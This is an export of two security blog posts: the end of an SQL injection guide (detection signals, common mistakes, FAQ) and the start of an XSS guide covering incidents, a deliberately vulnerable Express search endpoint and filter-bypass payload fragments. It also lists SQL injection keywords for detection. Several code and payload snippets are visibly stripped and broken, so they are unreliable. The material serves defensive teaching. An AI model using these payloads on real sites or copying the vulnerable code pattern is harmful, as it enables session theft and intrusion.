The next question is what kind of channel the injection offers. The attacker sends a pair of conditions, one always true and one always false, and compares the responses. If the two responses differ, the application is leaking a single bit of information per request, which is enough for boolean-blind extraction. If the responses are identical, the attacker reaches for a timing probe: a conditional delay that pauses the database only when a condition holds. A consistent delay that tracks the condition turns the response time into the leak channel.
From there the work is mechanical. Extraction walks the target value one position at a time, asking whether each character is above or below a midpoint and narrowing by binary search, or measuring a delay for each guess. This is slow by hand, which is why tooling automates it, but the concept is simple: every yes-or-no answer the application gives away, whether through content, status code, or timing, is a bit the attacker can accumulate into a password hash, a session token, or an entire table. The lesson for the defender is that the leak is not the error message or the delay. Those are symptoms. The leak is that user input reached the query structure at all, and a parameterized query closes it before any of this reasoning can begin.
## Detection signals: catching SQL injection at runtime
Fixing the code is the cure. While code is being fixed, and to catch regressions, runtime detection matters. The signals below are concrete places to look, mapped to what an injection attempt actually produces.
**Database error spikes.** A sudden rise in syntax errors, type-conversion errors, or `information_schema` references in application logs is a strong sign someone is probing injection points. Legitimate traffic rarely triggers XPATH or conversion errors in bursts.
**Repeated near-identical requests to one parameter.** Boolean-blind and time-based extraction generate hundreds to thousands of requests that differ only in a numeric threshold or a substring index. A single client hammering one parameter with slowly varying payloads is the fingerprint of automated extraction.
**Response-time outliers that correlate with payload content.** Time-based injection deliberately introduces delays. Requests whose latency jumps to a suspicious round number, three or five seconds, and that contain conditional keywords, deserve immediate attention.
**Keywords in unexpected fields.** `UNION`, `SELECT`, `SLEEP`, `WAITFOR`, `pg_sleep`, `information_schema`, and comment sequences appearing in parameters that should hold names, numbers, or identifiers point to injection attempts. Watch cookies and headers too, since those are injection points that developers forget to treat as user input.
**Outbound DNS or HTTP from the database host.** Out-of-band extraction makes the database server itself reach out to an attacker-controlled domain. A database that suddenly performs DNS lookups for unfamiliar external names is exfiltrating over a side channel. Egress filtering on the database tier both blocks this and surfaces the attempt.
**Access to tables the application never queries.** If your application only ever reads three tables, a query touching `sys.tables`, `all_tables`, or system catalogs is not your application behaving normally. Query-level auditing that baselines expected access makes this visible.
Signature rules that match payload strings are brittle, because encoding and database-specific syntax bypass them. A more durable signal is access to database metadata: any application query that reads `information_schema`, `sys.tables`, `all_tables`, or `pg_catalog` is worth flagging, because a normal application knows its own schema and never has to enumerate it at runtime.
## Common mistakes that reintroduce injection
Teams that believe they are safe often are not, because a handful of patterns quietly reopen the hole.
**Sanitizing instead of parameterizing.** Escaping quotes or stripping keywords feels like a fix and is not one. Encodings, alternative syntax, and edge cases defeat blocklists, and numeric contexts need no quotes at all. Parameterization is the fix. Sanitization is a patch over a design that is still concatenating.
**Parameterizing the obvious query and forgetting the rest.** A codebase can parameterize its login query perfectly and still concatenate in a reporting export, an admin search, or a background job. Injection needs one unparameterized query, so partial coverage is not coverage.
**Trusting data because it came from the database.** Second-order injection exploits exactly this. A value stored safely through a parameterized insert is still attacker-controlled when it is later concatenated into a new query. Data read back from your own database deserves the same parameterization as data read from a request.
**Interpolating identifiers.** Parameterization binds values, not table names, column names, or sort direction. Developers who need dynamic ordering sometimes drop back to string concatenation for the whole query. The correct pattern is a strict server-side allowlist for the identifier and parameterization for the values.
**Assuming an ORM makes it impossible.** ORMs are safe by default and expose raw escape hatches. A raw query interface fed a concatenated string is as injectable as any hand-written query, and the ORM's presence gives false confidence.
**Leaning on a web application firewall as the fix.** A firewall reduces noise and buys time. It does not repair vulnerable code, and determined bypasses get through. Treat it as a speed bump layered on top of parameterized queries, never as the reason the code can stay broken.
## How SQL injection has evolved
The vulnerability itself has not changed since applications first concatenated user input into queries. What has changed is the surrounding landscape. Early exploitation relied on verbose database errors printed straight to the page, which made error-based extraction trivial. As frameworks began suppressing errors in production, attackers shifted to blind techniques that need only a behavioral difference, and then to time-based techniques that need no visible difference at all. When applications went quiet on every channel, out-of-band methods emerged that make the database itself phone home over DNS or HTTP.
Defenses moved in parallel. Parameterized query interfaces became standard in every major driver, ORMs made the safe path the default path, and automated scanners made injection points cheaper to find on both sides. The net effect is that classic, obvious injection has grown rarer in well-maintained code, while the surviving cases cluster in the awkward spots: dynamic identifiers, second-order flows, raw ORM escape hatches, and legacy code written before the safe patterns were universal. The through-line across the whole history is that the root cause never moved. Every era of technique is a different way to exploit or detect the same failure to separate code from data.
## Frequently asked questions
**Do parameterized queries slow the application down?**
No. Parameterized queries let the database compile a query plan once and reuse it across executions, which often improves performance under repeated calls. There is no performance argument for string concatenation. The safe path is also the fast path.
**Is input validation enough to prevent SQL injection?**
No. Validation is useful for data quality and can reduce attack surface, but it is not a reliable defense on its own. Blocklists miss encodings and database-specific syntax, and numeric injection contexts need no special characters. Parameterized queries are the control that closes the vulnerability regardless of what the input contains.
**Can an ORM be injected?**
Yes, through its raw query escape hatches. ORM query builders are safe by default, but interfaces such as raw or unsafe query methods pass strings straight to the database. Concatenating user input into those interfaces reintroduces injection exactly as if the ORM were not there.
**Why do parameterized queries not work for ORDER BY or column names?**
Parameter binding substitutes data values, and a table name, column name, or sort direction is part of the query structure rather than a value. You cannot bind them. Protect dynamic identifiers with a strict server-side allowlist, comparing user input against a fixed set of permitted names before it reaches the query.
**What is second-order SQL injection?**
It is injection where the payload is stored safely and executed later. A value inserted through a parameterized query sits harmlessly in the database, then becomes dangerous when some other code path reads it back and concatenates it into a new query. The fix is to parameterize every query, including ones that use data sourced from your own database.
**Does a web application firewall make my code safe?**
No. A firewall can block many payloads and slow an attacker down, but encoding tricks, parameter pollution, and database-specific syntax routinely bypass its rules. It is a layer on top of secure code, never a substitute. If the underlying query is still concatenated, the one payload that slips through is enough.
**How do least-privilege database accounts help if injection still happens?**
They cap the blast radius. An application account granted only the specific reads and writes it needs cannot drop tables, read other databases, or execute system commands even when a query is successfully injected. Least privilege does not prevent injection, it limits what a successful injection can reach.
## Related guides
- [The MOVEit Breach](/moveit-breach-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [Cross-Site Scripting (XSS) Explained](/xss-attacks-explained)
- [Secure Coding Practices](/secure-coding-practices)
- [Bug Bounty Hunting: Getting Started](/bug-bounty-getting-started)
- [How to Become an Ethical Hacker](/how-to-become-ethical-hacker)
### Sources
- OWASP SQL Injection Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP Top Ten: A03: Injection (OWASP): https://owasp.org/Top10/A03_2021-Injection/
- MITRE CWE-89: Improper Neutralization of Special Elements used in an SQL Command (MITRE): https://cwe.mitre.org/data/definitions/89.html
---
## Cross-Site Scripting (XSS): Attack Types and Prevention
> XSS is the most common web vulnerability. Learn how reflected, stored, and DOM-based XSS work, see real payloads, and understand the defenses that stop them.
- URL: https://blog.pwnsy.com/xss-attacks-explained
- Date: 2026-03-11
- Updated: 2026-04-08
- Difficulty: intermediate
- Category: web-security
- Tags: xss, web-security, owasp, javascript, secure-coding
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- XSS lets attackers inject JavaScript that runs in another user's browser, reading session tokens from localStorage, making authenticated API calls, and performing admin actions.
- Reflected XSS is one-shot via a crafted URL; stored XSS is persisted in a database and executes for every visitor; DOM-based XSS never touches the server and bypasses server-side filters.
- Every modern framework auto-escapes by default, nearly all real-world XSS comes from explicit escape bypasses like dangerouslySetInnerHTML, | safe, v-html, or bypassSecurityTrust*.
- A nonce-based Content Security Policy blocks injected script execution even when encoding fails, and is the critical browser-enforcement layer on top of output encoding.
### Key Takeaways
- The Samy worm infected over one million MySpace profiles in 20 hours through a single stored XSS vulnerability, demonstrating the viral replication potential of persistent payloads.
- Adversary-in-the-Middle supply chain XSS, as in the 2018 British Airways breach, can compromise 500,000 payment records by injecting a skimmer into a third-party JavaScript library.
- DOM-based XSS flows entirely through client-side JavaScript from a source such as location.hash to a dangerous sink such as innerHTML, leaving no evidence in server logs.
- HttpOnly cookies prevent classic document.cookie theft but do not protect localStorage-stored JWT tokens, which are accessible to injected scripts in most modern SPAs.
- Input sanitization should occur on write to the database using an allowlist-based library like DOMPurify, not on read, to ensure historical content is consistently protected.
Cross-site scripting is the most frequently found vulnerability in web applications. It consistently appears in bug bounty programs, penetration test reports, and OWASP's Top 10. Bug hunters have been paid millions in bounties for XSS bugs. Entire companies' session data, tokens, and user credentials have been stolen through persistent XSS payloads left in comment sections and forum posts.
The attack is conceptually simple (inject JavaScript that runs in another user's browser) but the exploitation techniques, bypass methods, and impact range from trivial to catastrophic depending on what the application does. A self-XSS in a profile field with no external visibility is a non-issue. A stored XSS in a feature visible to every admin and user, executing under their session, is a critical finding.
This post covers all three XSS variants in depth, real exploitation chains, filter bypass techniques, framework-specific escape hatches, and the complete defense stack.
## Why XSS Is Dangerous
Before diving into mechanics: the impact of XSS execution depends entirely on what the application's JavaScript has access to.
**What attacker-injected JavaScript can do:**
- Read `document.cookie` and exfiltrate session tokens (classic cookie theft)
- Read `localStorage` and `sessionStorage`, where modern SPAs store auth tokens
- Make authenticated API requests on behalf of the victim (CSRF-bypass equivalent)
- Modify the DOM to inject fake login forms (credential harvesting)
- Log every keystroke the victim types (keylogger)
- Redirect the victim to a phishing page
- Take screenshots via canvas API
- Access the user's clipboard
- In high-privilege sessions: perform admin actions, create backdoor accounts, export all user data
Session cookies with `HttpOnly` flag can't be read by JavaScript, but `localStorage` tokens (JWTs, OAuth tokens) can be, and most modern SPAs store tokens in `localStorage`. HttpOnly cookies stop the most common XSS post-exploitation step but not all of them.
## Real Incidents
### Samy Worm (2005): First XSS Worm in History
In October 2005, Samy Kamkar exploited a stored XSS vulnerability in MySpace to create the fastest-spreading worm in internet history. The payload:
1. Added Samy as a friend of the infected user
2. Displayed "but most of all, samy is my hero" on the infected user's profile
3. Copied itself to the infected user's profile, infecting anyone who viewed it
Within 20 hours, Samy had over 1 million MySpace friend requests. MySpace was forced to take the entire site offline to remove the worm. Kamkar was prosecuted, placed on three years of probation, and paid $20,000 in restitution. MySpace's advertising revenue was impacted for days.
The technical limitation Kamkar had to work around: MySpace filtered `javascript:` and event handlers like `onmouseover`. His solution used CSS `expression()` (an IE-specific feature): `
`. He also used `\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74` (hex encoding of "javascript") to bypass the filter.
### British Airways (2018): 500,000 Payment Cards
In September 2018, British Airways disclosed a breach affecting 500,000 customers who booked flights between August 21 and September 5, 2018. RiskIQ's researchers determined the attackers (Magecart Group 6) injected a 22-line JavaScript skimmer that captured form input from the BA payment page and exfiltrated it to `baways.com` (not the legitimate `britishairways.com`).
The skimmer ran in the browser during checkout and collected:
- Card number, expiry, CVV
- Name, billing address
- Email address
The attack was a supply chain XSS: attackers compromised a third-party JavaScript library loaded on BA's checkout page, injected their skimmer into that library, and it ran automatically on every transaction. BA was fined £20 million by the UK ICO (reduced from an initial £183 million figure). Total estimated theft: ~£14 million in fraudulent charges.
### Twitter XSS (2014): TweetDeck Worm
In June 2014, a self-propagating XSS worm spread across TweetDeck, Twitter's third-party client. A user discovered that TweetDeck was rendering tweet content as HTML and posted a tweet containing ``. TweetDeck executed it. The worm evolved to automatically retweet itself and show pop-up alerts. Thousands of accounts were affected before TweetDeck was taken offline temporarily. No permanent data theft occurred in this case, but the attack demonstrated that a stored XSS in a widely-used client could spread virally.
## Reflected XSS
Reflected XSS is the simplest variant: the payload arrives in the HTTP request (URL parameter, form field, header), the server includes it in the HTML response without sanitization, and the browser executes it. The attack is one-shot: it doesn't persist in the application.
Delivery mechanism: the attacker crafts a malicious URL and gets the victim to visit it. Methods include phishing emails, shortened URLs, social engineering, or open redirectors on the same domain.
### Vulnerable Code
```javascript
// Express.js — vulnerable search endpoint
app.get('/search', (req, res) => {
const query = req.query.q || '';
// VULNERABLE: user input directly in HTML response
res.send(`
Search
Results for: ${query}
Loading...
`);
});
```
Normal request: `GET /search?q=laptops` → renders "Results for: laptops"
Attack URL: `https://target.com/search?q=`
The `
" onmouseover="alert(1)" x="
Click me
```
### Filter Bypass Techniques
When a WAF or input filter blocks specific patterns, these bypass techniques frequently succeed:
```html
ipt>alert(1)ipt>
%253Cscript%253Ealert(1)%253C%252Fscript%253E
alert(1)